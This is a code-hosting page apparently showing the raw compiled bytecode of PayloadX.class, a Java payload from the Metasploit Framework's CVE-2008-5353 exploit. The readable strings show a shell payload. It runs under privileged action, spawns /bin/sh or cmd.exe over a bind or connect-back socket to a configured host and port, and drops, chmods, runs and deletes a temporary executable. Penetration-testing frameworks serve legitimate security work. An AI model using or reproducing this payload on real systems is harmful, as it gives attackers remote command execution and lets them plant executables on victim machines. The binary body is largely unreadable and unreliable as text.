CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2008-5353/bin/msf/x/PayloadX.class
Views: 11791
����-�msf/x/PayloadXjava/lang/Object'java/security/PrivilegedExceptionActiondataLjava/lang/String;lhostlportI<clinit>()VCode				
LineNumberTableLocalVariableTable
StringToBytes(Ljava/lang/String;)[B
java/lang/Stringlength()I
 !"charAt(I)C
$&%java/lang/Character'(digit(CI)Is[Birun()Ljava/lang/Object;
Exceptions0java/lang/Exception2os.name
465java/lang/System78getProperty&(Ljava/lang/String;)Ljava/lang/String;:/bin/sh<Windows
>?@indexOf(Ljava/lang/String;)IBcmd.exeDjava/net/ServerSocket
CFGH<init>(I)V
CJKLaccept()Ljava/net/Socket;Njava/net/Socket
MPGQ(Ljava/lang/String;I)V
SUTjava/lang/RuntimeVW
getRuntime()Ljava/lang/Runtime;
SYZ[exec'(Ljava/lang/String;)Ljava/lang/Process;]msf/x/PayloadX$StreamConnector
_a`java/lang/ProcessbcgetInputStream()Ljava/io/InputStream;
MefggetOutputStream()Ljava/io/OutputStream;
\iGj>(Lmsf/x/PayloadX;Ljava/io/InputStream;Ljava/io/OutputStream;)V
lnmjava/lang/Threado
start
Ma
_esjava/lang/StringBufferujava.io.tmpdir
wxyvalueOf&(Ljava/lang/Object;)Ljava/lang/String;
r{G|(Ljava/lang/String;)V	~�java/io/File�	separator
r���append,(Ljava/lang/String;)Ljava/lang/StringBuffer;
���java/lang/Math��random()D
r���(D)Ljava/lang/StringBuffer;�.exe
r���toString()Ljava/lang/String;�java/io/FileOutputStream
�{
�
����write([B)V
���
close�
chmod 755 
_��waitFor
~{
~���delete()ZthisLmsf/x/PayloadX;os
client_socketLjava/net/Socket;shell
server_socketLjava/net/ServerSocket;processLjava/lang/Process;pathpfosLjava/io/FileOutputStream;
�G
���java/security/AccessController��doPrivileged=(Ljava/security/PrivilegedExceptionAction;)Ljava/lang/Object;
SourceFile
PayloadX.javaInnerClassesStreamConnector!				

;��\��	�:*�l�L=�%+l*��#x*`��#`�T�*����+�E	GH-G8J :)	1*-+,-./���1�3L���uM9N+;�=�AN���CY��E:�IM��MY���OM,���R-�X:�\Y*�^,�d�h�k�\Y*,�p�q�h�k���rYt�3�v�z�}�����������M��Y,��:�������+;�=��R�rY��z,�����XN-��W�R,�XN-��W�~Y,����W�L�/rQRVZ\^`%a(c.e:fCjQmUo^qrs�x�{�}�~�������������	�f
����p��m�:	��^(���X��������N��G
L*��*��W�L�	/���
������
\�